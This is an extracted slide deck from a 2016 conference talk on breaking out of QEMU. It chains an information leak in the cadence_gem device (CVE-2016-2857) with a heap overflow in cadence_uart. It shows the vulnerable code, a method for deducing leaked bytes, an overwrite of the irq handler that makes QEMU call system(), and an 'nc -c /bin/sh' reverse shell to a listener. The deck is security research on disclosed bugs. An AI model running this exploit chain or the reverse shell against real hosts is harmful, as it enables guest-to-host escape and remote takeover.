## Breaking out of QEMU

Qiang Li && Zhibin Hu/Qihoo 360 Gear Team Ruxcon 2016

### Who are we

- Security researcher in Qihoo 360 Inc(Gear Team)
- Vulnerability discovery and analysis
- Specialize in QEMU currently
  - 50+ security issues, 33 CVE now



- QEMU overview
- QEMU Device Model
- The bug and exploit





### **QEMU Overview**



- Full system/User mode emulation
- Software emulation
- Accelerator such as KVM/XEN



## **QEMU** overview

- The revival of virtualization
- Hardware support: Intel VT && AMD SVM
- QEMU for device emulation
   KVM && Xen





### **QEMU** overview

- QEMU is a user process
- QEMU's virtual address space as Guest RAM

• QEMU's thread as Guest vCPU



## **QEMU** overview

• QEMU

• Guest

Host kernel





 Most of the devices are software emulation based

 Guest is unaware of the underlying virtualization environment

 Many devices should be emulated, such as disk, network card, etc



PCI devices exposes
 BAR(Base Address Register)
 to OS, QEMU provides this
 layer in device emulation



 The guest OS interacts with the device by reading and writing to the BARs registered by the device.
 BAR R/W operations trap to the KVM and control is passed to QEMU

- Previously there has not been much consideration of vulnerabilities present in KVM
- Data flow: Guest->QEMU



• Guest data is untrusted and can be malicious

• Two types of BARs: IO port && MMIO

 Malicious kernel module acts as a driver



Read/write IO port/MMIO to trigger flaws



 QEMU alloc the BARs and register read/write callback for emulation device



Device Model is the most attack surface

### The data flow is clear

### • Review the code to discovery vulnerability



 Two vulnerabilities: information leak and heap overflow

Not in the same device emulation code

One is in cadence\_gem and the other is in cadence\_uart

## The first vulnerability!

### CVE-2016-2857

An out-of-bounds read-access flaw was found in the QEMU emulator built with IP checksum routines. The flaw could occur when computing a TCP/UDP packet's checksum, because a QEMU function uses the packet's payload length without checking against the data buffer's size. A user inside a guest could use this flaw to crash the QEMU process (denial of service).

Find out more about CVE-2016-2857 from the MITRE CVE dictionary dictionary and NIST NVD.

### • CVE-2016-2857(Ling Liu of 360.cn)

• Actully, this is an information leak issue

• To bypass the ASLR

• 'data' points a packet

'plen' is the total length of the packet



'plen' is from guest and used to indicate buffer length

unchecked 'plen' can lead out of band read

- TCP/UDP checksum calculation
- Add every 2 bytes to 'sum'
- Get the checksum

uint16\_t net\_checksum\_finish(uint32\_t sum)
{
 while (sum>>16)
 sum = (sum & 0xFFFF)+(sum >> 16);
 return ~sum;
}



 'csumA': one packet checksum



• 'csumB': the checksum contains the out-of-band data

• Deduce the byte 'C' from 'csumA' and 'csumB'?

The answer is: "Yes"



 Though it is not 100% precise, we have a method tmp = (~csumB & 0xffff) - (~csumA & 0xffff);
 byteC = tmp > 255? (tmp >> 8) & 0xff:tmp-1;

#### static void gem\_transmit(CadenceGEMState \*s)

unsigned desc[2]; hwaddr packet\_desc\_addr; uint8\_t tx\_packet[2048]; uint8\_t \*p; unsigned total\_bytes;

. . .

. . .

. . .

```
/* Handle all descriptors owned by hardware */
while (tx_desc_get_used(desc) == 0) {
```

/\* Last descriptor for this packet; hand the whole thing off \*/
if (tx\_desc\_get\_last(desc)) {

```
/* Is checksum offload enabled? */
```

```
if (s->regs[GEM_DMACFG] & GEM_DMACFG_TXCSUM_OFFL) {
    net_checksum_calculate(tx_packet, total_bytes);
```

```
void net_checksum_calculate(uint8_t *data, int length)
```

```
...
hlen = (data[14] & 0x0f) * 4;
plen = (data[16] << 8 | data[17]) - hlen;
...
if (plen < csum_offset+2)
return;
csum = net_checksum_tcpudp(plen, proto, data+14+12, data+14+hlen);
data[14+hlen+csum_offset] = csum >> 8;
data[14+hlen+csum_offset+1] = csum & 0xff;
```

### The 'length' is never used

• The 'tx packet[2048]' is in stack

- We can read very wide memory after 'tx packet[2048]'
- ASLR is bypassed



read

## The second vulnerability!

#### static void cadence\_uart\_init(Object \*obj)

```
SysBusDevice *sbd = SYS_BUS_DEVICE(obj);
CadenceUARTState *s = CADENCE_UART(obj);
```

memory\_region\_init\_io(&s->iomem, obj, &uart\_ops, s, "uart", 0x1000); sysbus\_init\_mmio(sbd, &s->iomem); sysbus\_init\_irq(sbd, &s->irq);

```
CadenceUARTState *s = opaque;
```

offset >>= 2;

switch (offset) {

```
•••
```

- -

#### break;

efault: s->r[offset] = value;

#### #define CADENCE\_UART\_R\_MAX (0x48/4)

### typedef struct { /\*< private >\*/

SysBusDevice parent\_obj;

#### /\*< public >\*/

MemoryRegion iomem; uint32\_t r[CADENCE\_UART\_R\_MAX]; uint8\_t rx\_fifo[CADENCE\_UART\_RX\_FIFO\_SIZE]; uint8\_t tx\_fifo[CADENCE\_UART\_TX\_FIFO\_SIZE]; uint32\_t rx\_wpos; uint32\_t rx\_count; uint32\_t rx\_count; uint32\_t tx\_count; uint64\_t char\_tx\_time; CharDriverState \*chr; qemu\_irq irq; QEMUTimer \*fifo\_trigger\_handle; CadenceUARTState;

- QEMU register a BAR of 0x1000, so guest can read/write this
- Guest write:
   \*(pmmio + offset) = value
- The problem is here:
   s->r[offset] = value; overflow!



- Typical Heap overflow
- What can we overwrite?
- How to overwrite EIP?
- 'handler' is a call back with parameter 'opaque'

typedef struct {
MemoryRegion iomem;
<pre>uint32_t r[CADENCE_UART_R_MAX];</pre>
•••
<i>uint64_t</i> char_tx_time;
CharDriverState *chr;
qemu_irq irq;
QEMUTimer *fifo_trigger_handle;
<pre>} CadenceUARTState;</pre>
<pre>typedef struct IRQState *qemu_irq;</pre>
<pre>struct IRQState {</pre>
Object parent_obj;
<pre>qemu_irq_handler handler;</pre>
<pre>void *opaque;</pre>
<i>int</i> n;
};

• Construct a new 'irq'

 Write new 'irq->handler' and 'irq->opaque'



 Overwrite 'irq->CadenceUARTState', the world is under our control

## Put them together!

 The information leak in cadence\_gem device and the heap overflow in cadence\_uart device

- Q1:How can we connect these two?
- Q2:What EIP and argument should we use?

- QEMU allocates a struct '\*\*\*State' for every device, this happen very early, and will exist as the process running
- 'offset' between 'CadenceGEMState' and 'CadenceUARTState' is always the same. This connect these two struct



Though we can write a lot of memory space. Most of these memory changed quickly. It's difficult even find 50 stable bytes. ROP seems not viable.

• ret2libc

#### #define CADENCE\_UART\_R\_MAX (0x48/4)

### typedef struct { /\*< private >\*/

SysBusDevice parent\_obj;

#### /\*< public >\*/

MemoryRegion iomem; uint32\_t r[CADENCE\_UART\_R\_MAX]; uint8\_t rx\_fifo[CADENCE\_UART\_RX\_FIFO\_SIZE]; uint8\_t tx\_fifo[CADENCE\_UART\_TX\_FIFO\_SIZE]; uint32\_t rx\_wpos; uint32\_t rx\_count; uint32\_t rx\_count; uint32\_t tx\_count; uint64\_t char\_tx\_time; CharDriverState \*chr; qemu\_irq irq; QEMUTimer \*fifo\_trigger\_handle; CadenceUARTState;

 Calculate ret function and find the 'gem\_transmit' address and 'CadenceGEMState'



 Get one address that call 'system' in qemu process address space

 Get the 'CadenceUARTState', we can construct our 'irq' after this struct





 Construct a 'irq' after 'CadenceUARTState'

Overwrite
 'CadenceUARTState->irq
 with the new one





### exploit

- 'handler' ← address calls
   'system' function
- 'opaque' ←'irq->parrent\_obj', this is the address of string passed to 'system'
- 'parent\_obj' ← the arg of 'system', in this:
   nc -c /bin/sh 192.168.80.147 5555



n

IROState



### Demo

- Attacker
   ip:192.168.80.161
   nc -l -p 5555 -v
- Victim ip:192.168.80.157 qemu-system-aarch64...-net nic,model=cadence\_gem

## Demo!



### Background: QEMU device model

• Vulnerabilities: Information leak &&Heap overflow

### • Exploit

### Acknowledgements

- cyg07
- Au2o3t

# Thank

Qiang Li && Zhibin Hu/Gear Team, Qihoo 360 Inc



liq3ea@163.com



huzhibin@360.cn